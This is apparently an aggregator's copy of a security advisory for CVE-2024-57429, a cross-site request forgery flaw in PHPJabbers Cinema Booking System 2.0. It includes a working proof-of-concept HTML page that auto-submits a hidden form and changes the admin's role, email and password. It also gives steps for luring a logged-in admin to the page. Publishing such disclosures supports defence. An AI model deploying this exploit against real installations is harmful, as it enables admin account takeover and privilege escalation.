PHPJabbers Cinema Booking System 2.0 Cross Site Request Forgery

🗓️ 05 Feb 2025 00:00:00Reported by Astik RawatType

packetstorm🔗 packetstorm.news👁 329 Views

CSRF vulnerability in PHPJabbers Cinema Booking System 2.0 allows privilege escalation for attackers.

Reporter	Title	Published	Views	Family All 23
0day.today	PHPJabbers Cinema Booking System 2.0 Cross Site Request Forgery Vulnerability	5 Feb 202500:00	–	zdt
Circl	CVE-2024-57429	4 Feb 202516:00	–	circl
CNNVD	WordPress plugin Simple AL Slider security vulnerability	28 Jun 202400:00	–	cnnvd
CNNVD	PHPJabbers Cinema Booking System 安全漏洞	6 Feb 202500:00	–	cnnvd
CVE	CVE-2024-5729	28 Jun 202406:00	–	cve
CVE	CVE-2024-57429	6 Feb 202500:00	–	cve
Cvelist	CVE-2024-5729 Simple AL Slider <= 1.2.10 - Reflected XSS	28 Jun 202406:00	–	cvelist
Cvelist	CVE-2024-57429	6 Feb 202500:00	–	cvelist
EUVD	EUVD-2024-53584	3 Oct 202520:07	–	euvd
NVD	CVE-2024-5729	28 Jun 202406:15	–	nvd

# CVE-2024-57429
    A cross-site request forgery (CSRF) vulnerability in the pjActionUpdate function of PHPJabbers Cinema Booking System v2.0 allows remote attackers to escalate privileges by tricking an authenticated admin into submitting an unauthorized request.
    
    ## Impact:
    Exploitation of this CSRF vulnerability can lead to unauthorized actions, such as:
    - Changing the admin's password, effectively locking them out.
    - Elevating the attacker's privileges to admin by updating their user role.
    
    ## Exploit - Proof of Concept (POC)
    ### Cross-Site Request Forgery (CSRF)
    
    ### poc.html
    
    ```
    <html>
     <!-- CSRF PoC - Update Admin User -->
     <body>
       <form action="http://127.0.0.1/CinemaBookingDev/index.php?controller=pjAdminUsers&action=pjActionUpdate" method="POST">
         <input type="hidden" name="user_update" value="1" />
         <input type="hidden" name="id" value="3" />
         <input type="hidden" name="role_id" value="1" />
         <input type="hidden" name="email" value="[email protected]" />
         <input type="hidden" name="password" value="newpassword123" />
         <input type="hidden" name="name" value="Attacker" />
         <input type="hidden" name="phone" value="1234567890" />
         <input type="hidden" name="status" value="T" />
         <input type="submit" value="Submit request" />
       </form>
       <script>
         history.pushState('', '', '/');
         document.forms[0].submit();
       </script>
     </body>
    </html>
    ```
    
    1. Save the above code as poc.html
    2. Host the file on a server and trick the admin into accessing it while logged into the application.
    3. The admin's account will be updated with the attacker's details and new password.

05 Feb 2025 00:00Current

6.8Medium risk

Vulners AI Score6.8

CVSS 3.16.1

EPSS0.0086

SSVC